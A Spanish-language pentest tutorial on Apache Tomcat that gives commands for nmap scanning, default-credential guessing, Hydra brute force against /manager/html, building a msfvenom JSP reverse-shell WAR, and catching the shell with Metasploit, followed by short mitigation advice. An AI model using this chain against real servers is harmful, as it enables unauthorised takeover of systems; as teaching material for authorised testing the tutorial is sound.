Pentesting a Apache Tomcat: Guía Práctica Paso a Paso (con fines académicos)

Apache Tomcat es uno de los servidores de aplicaciones Java más utilizados, y a menudo es un objetivo para pruebas de penetración debido a configuraciones inseguras y vulnerabilidades explotables. En este artículo, exploraremos un enfoque paso a paso para realizar un pentest a Tomcat.

1. Reconocimiento Inicial

Herramientas Necesarias:

  • Nmap
  • Burp Suite
  • Metasploit
  • Hydra
  • Navegador web

Objetivo: Identificar si el servidor Tomcat está expuesto y recopilar información inicial.

1. Escaneo con Nmap: Ejecuta un escaneo de puertos para identificar servicios expuestos:

nmap -p 8080,8009 -sV –script=http-title,http-enum <IP_del_servidor>
  • Puerto 8080: Interfaz web de Tomcat.
  • Puerto 8009: Conector AJP de Tomcat (potencialmente vulnerable a exploits).

Ejemplo de resultado:

2. Enumeración Web: Accede al puerto 8080 desde un navegador para verificar la página de bienvenida de Tomcat:

http://<IP_del_servidor>:8080

2. Enumeración de Credenciales de Tomcat

Objetivo: Buscar credenciales predeterminadas o accesibles.

1. Intento Manual:

  • Navega a la página de administración:

http://<IP_del_servidor>:8080/manager/html
  • Prueba credenciales predeterminadas como:
admin:admin
admin:tomcat
tomcat:tomcat

2. Ataque de Fuerza Bruta con Hydra: Ejecuta un ataque de fuerza bruta para descubrir credenciales:

hydra -l admin -P /ruta/diccionario.txt <IP_del_servidor> http-get /manager/html

 

Ejemplo de resultado:

3. Explotación

Objetivo: Utilizar las credenciales obtenidas para cargar un archivo malicioso y tomar control del sistema.

1. Acceso al Panel de Gestión:

  • Usa las credenciales para acceder a /manager/html.
  • Verifica si puedes cargar archivos WAR.

2. Creación de un Payload WAR con msfvenom: Genera un archivo WAR malicioso:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<tu_IP> LPORT=4444 -f war -o shell.war

3. Carga del Archivo WAR:

  • Desde el panel de administración, sube shell.war.
  • Accede al archivo para ejecutar la reverse shell:
http://<IP_del_servidor>:8080/shell/

4. Conexión al Sistema:

  • Configura un listener con Metasploit:
msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set LHOST <tu_IP>
set LPORT 4444
exploit
  • Una vez ejecutado el payload, obtendrás acceso al sistema.

4. Mitigaciones

Recomendaciones para proteger Tomcat:

  • Cambiar las credenciales predeterminadas.
  • Restringir el acceso a /manager/html.
  • Actualizar Tomcat a la última versión.
  • Deshabilitar el conector AJP si no es necesario.

5. Ejemplo de Configuración Segura

1. Edita el archivo tomcat-users.xml para establecer credenciales más seguras:

2. Limita el acceso al puerto 8080 desde una dirección específica: En server.xml, configura un filtro: